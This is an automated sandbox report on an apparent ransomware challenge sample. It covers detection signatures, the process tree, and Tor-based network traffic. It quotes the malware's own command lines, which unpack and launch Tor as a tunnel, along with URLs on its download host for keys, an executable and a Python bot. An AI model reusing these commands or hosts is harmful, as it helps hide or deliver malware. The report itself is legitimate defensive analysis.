Edit tour

Windows Analysis Report
malware.exe

Overview

General Information

Sample Name:	malware.exe
Analysis ID:	878990
MD5:	cb00a7da987df0007646cebbb5b3767d
SHA1:	e8572fc68ebcda5f576ca8ed64f3e0794f5a05e1
SHA256:	eeadb031ff7206f0bc0e13c7babd7ad594f2f37d5a0119e7a3cb0d7694c5f1cc
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Installs TOR (Internet Anonymizer)

Powershell drops PE file

May use the Tor software to hide its network traffic

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Found evasive API chain checking for process token information

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Contains functionality to launch a program with higher privileges

PE file contains more sections than normal

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to delete services

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

malware.exe (PID: 6520 cmdline: C:\Users\user\Desktop\malware.exe MD5: CB00A7DA987DF0007646CEBBB5B3767D)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5724 cmdline: powershell.exe -command Expand-Archive "tor-win32-0.3.4.9.zip" " TorFiles" MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 6900 cmdline: "C:\Windows\System32\cmd.exe" /K TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

tor.exe (PID: 7000 cmdline: TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118 MD5: EF4ABAC7C2AF1E311C9AE6439A2EBFC8)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: malware.exe

ReversingLabs: Detection: 69%

Antivirus / Scanner detection for submitted sample

Source: malware.exe

Avira: detected

Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_015822E5 ERR_load_crypto_strings,OPENSSL_add_all_algorithms_noconf,SSLeay,SSLeay_version,strcmp,__stack_chk_fail,	5_2_015822E5
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_0157B66D abort,CryptAcquireContextA,CryptGenRandom,__stack_chk_fail,	5_2_0157B66D
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01585C99 CRYPTO_num_locks,CRYPTO_set_locking_callback,CRYPTO_THREADID_set_callback,__stack_chk_fail,	5_2_01585C99

Source: tor.exe, 00000005.00000002.755574168.000000000528B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Source: unknown	HTTPS traffic detected: 99.84.90.27:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 171.25.193.20:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.119.88:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.165.230.5:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.83.43.94:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 171.25.193.78:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.50.191.95:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.7.16.182:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.249.230.114:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.154.164.243:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.83.43.95:443 -> 192.168.2.6:49746 version: TLS 1.2

Source: malware.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\Administrator\Challenges\1004\Ransomware\src\x64\Debug\Malware.pdb source: malware.exe, 00000000.00000000.482858260.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7092DB FindFirstFileExW,		0_2_00007FF6EA7092DB
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA8E2CF0 FindFirstFileExW,FindNextFileW,		0_2_00007FF6EA8E2CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Data\Tor\geoip6	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Data\Tor\geoip	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll	Jump to behavior

Networking

Installs TOR (Internet Anonymizer)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Jump to behavior

Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9
Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9

Source: global traffic	TCP traffic: 192.168.2.6:49721 -> 193.70.43.76:9001
Source: global traffic	TCP traffic: 192.168.2.6:49725 -> 5.9.110.236:9001
Source: global traffic	TCP traffic: 192.168.2.6:49726 -> 217.79.179.177:9001
Source: global traffic	TCP traffic: 192.168.2.6:49727 -> 37.153.1.10:9001
Source: global traffic	TCP traffic: 192.168.2.6:49731 -> 64.113.32.29:9001
Source: global traffic	TCP traffic: 192.168.2.6:49732 -> 62.138.7.171:8001
Source: global traffic	TCP traffic: 192.168.2.6:49734 -> 188.138.112.60:1521

Source: unknown

Network traffic detected: IP country count 14

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.20
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 86.59.119.88
Source: unknown	TCP traffic detected without corresponding DNS query: 185.100.84.82
Source: unknown	TCP traffic detected without corresponding DNS query: 185.100.84.82
Source: unknown	TCP traffic detected without corresponding DNS query: 185.100.84.82
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.43.76
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.43.76
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.43.76
Source: unknown	TCP traffic detected without corresponding DNS query: 77.247.181.162
Source: unknown	TCP traffic detected without corresponding DNS query: 77.247.181.162
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 77.247.181.162
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9

Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp

String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)

Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:8118
Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:81188
Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:8118~
Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: malware.exe, 00000000.00000002.749379484.000001A64D470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/
Source: malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/iv
Source: malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/ivr
Source: malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/ivy
Source: malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/key
Source: malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/keyd.exe
Source: malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dz0nhlj1q8ac3.cloudfront.net:443/keyw
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://freehaven.net/anonbib/#hs-attack06
Source: tor.exe, 00000005.00000002.756093748.0000000064B51000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: tor.exe, 00000005.00000002.756577188.000000006CEE2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: tor.exe, 00000005.00000002.756577188.000000006CEE2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
Source: tor.exe, 00000005.00000003.592797082.0000000003A35000.00000004.00000020.00020000.00000000.sdmp, tor.exe, 00000005.00000003.596593354.0000000004476000.00000004.00000020.00020000.00000000.sdmp, tor.exe, 00000005.00000003.588962694.0000000003E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://386bsd.net
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayError
Source: malware.exe, 00000000.00000002.749151238.000001A64B664000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/
Source: malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/Bot.py
Source: malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/Bot.py.#:h
Source: malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/g
Source: malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/image.jpg
Source: malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/mC/h
Source: malware.exe, 00000000.00000002.749151238.000001A64B648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zip
Source: malware.exe, 00000000.00000002.749151238.000001A64B648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zipK
Source: malware.exe, 00000000.00000002.749151238.000001A64B68C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zipp
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://trac.torproject.org/8742
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/21155.
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.torproject.org/
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.torproject.org/download/download#warning
Source: tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.torproject.org/download/download#warningalphabetaThis

Source: unknown

DNS traffic detected: queries for: dz0nhlj1q8ac3.cloudfront.net

Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Code function: 5_2_0155ACB9 recv,recv,abort,__stack_chk_fail,

5_2_0155ACB9

Source: global traffic

HTTP traffic detected: GET /tor-win32-0.3.4.9.zip HTTP/1.1Connection: Keep-AliveAccept: text/*, image/jpeg, application/*User-Agent: Mal1.0Host: dz0nhlj1q8ac3.cloudfront.net

Source: unknown	HTTPS traffic detected: 99.84.90.27:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 171.25.193.20:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.119.88:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.165.230.5:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.83.43.94:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 171.25.193.78:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.50.191.95:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.7.16.182:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.249.230.114:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.154.164.243:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.83.43.95:443 -> 192.168.2.6:49746 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\zlib1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libgcc_s_sjlj-1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\tor-gencert.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libssp-0.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\ssleay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll	Jump to dropped file

Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA83F730	0_2_00007FF6EA83F730
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7008ED	0_2_00007FF6EA7008ED
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA71CD20	0_2_00007FF6EA71CD20
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7000B9	0_2_00007FF6EA7000B9
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7000B9	0_2_00007FF6EA7000B9
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7000B9	0_2_00007FF6EA7000B9
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA71CD5C	0_2_00007FF6EA71CD5C
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7000B9	0_2_00007FF6EA7000B9
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA70169E	0_2_00007FF6EA70169E
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA703A1B	0_2_00007FF6EA703A1B
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA70385E	0_2_00007FF6EA70385E
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA83DA80	0_2_00007FF6EA83DA80
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA83DFB0	0_2_00007FF6EA83DFB0
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7072A6	0_2_00007FF6EA7072A6
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA7047F9	0_2_00007FF6EA7047F9
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA84AB00	0_2_00007FF6EA84AB00
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_016568E0	5_2_016568E0
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_016218E7	5_2_016218E7
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_016248B2	5_2_016248B2
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_013EDB01	5_2_013EDB01
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01635B0E	5_2_01635B0E
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_0162DB0D	5_2_0162DB0D
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_0160E312	5_2_0160E312
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01625A21	5_2_01625A21
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_0163152C	5_2_0163152C
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01636C43	5_2_01636C43
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01623760	5_2_01623760
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_013EDE63	5_2_013EDE63
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_01625E84	5_2_01625E84

Source: C:\Users\user\Desktop\malware.exe	Code function: String function: 00007FF6EA700631 appears 199 times
Source: C:\Users\user\Desktop\malware.exe	Code function: String function: 00007FF6EA7030B1 appears 436 times
Source: C:\Users\user\Desktop\malware.exe	Code function: String function: 00007FF6EA703C73 appears 86 times
Source: C:\Users\user\Desktop\malware.exe	Code function: String function: 00007FF6EA7030D4 appears 53 times
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: String function: 01556846 appears 32 times

Source: libevent_extra-2-1-6.dll.2.dr	Static PE information: Number of sections : 17 > 10
Source: libwinpthread-1.dll.2.dr	Static PE information: Number of sections : 18 > 10
Source: libeay32.dll.2.dr	Static PE information: Number of sections : 18 > 10
Source: ssleay32.dll.2.dr	Static PE information: Number of sections : 18 > 10
Source: libevent_core-2-1-6.dll.2.dr	Static PE information: Number of sections : 17 > 10
Source: libssp-0.dll.2.dr	Static PE information: Number of sections : 17 > 10
Source: libgcc_s_sjlj-1.dll.2.dr	Static PE information: Number of sections : 17 > 10
Source: libevent-2-1-6.dll.2.dr	Static PE information: Number of sections : 17 > 10

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA708061 DeleteService,

0_2_00007FF6EA708061

Source: malware.exe

ReversingLabs: Detection: 69%

Source: C:\Users\user\Desktop\malware.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\malware.exe C:\Users\user\Desktop\malware.exe
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command Expand-Archive "tor-win32-0.3.4.9.zip" " TorFiles"
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118
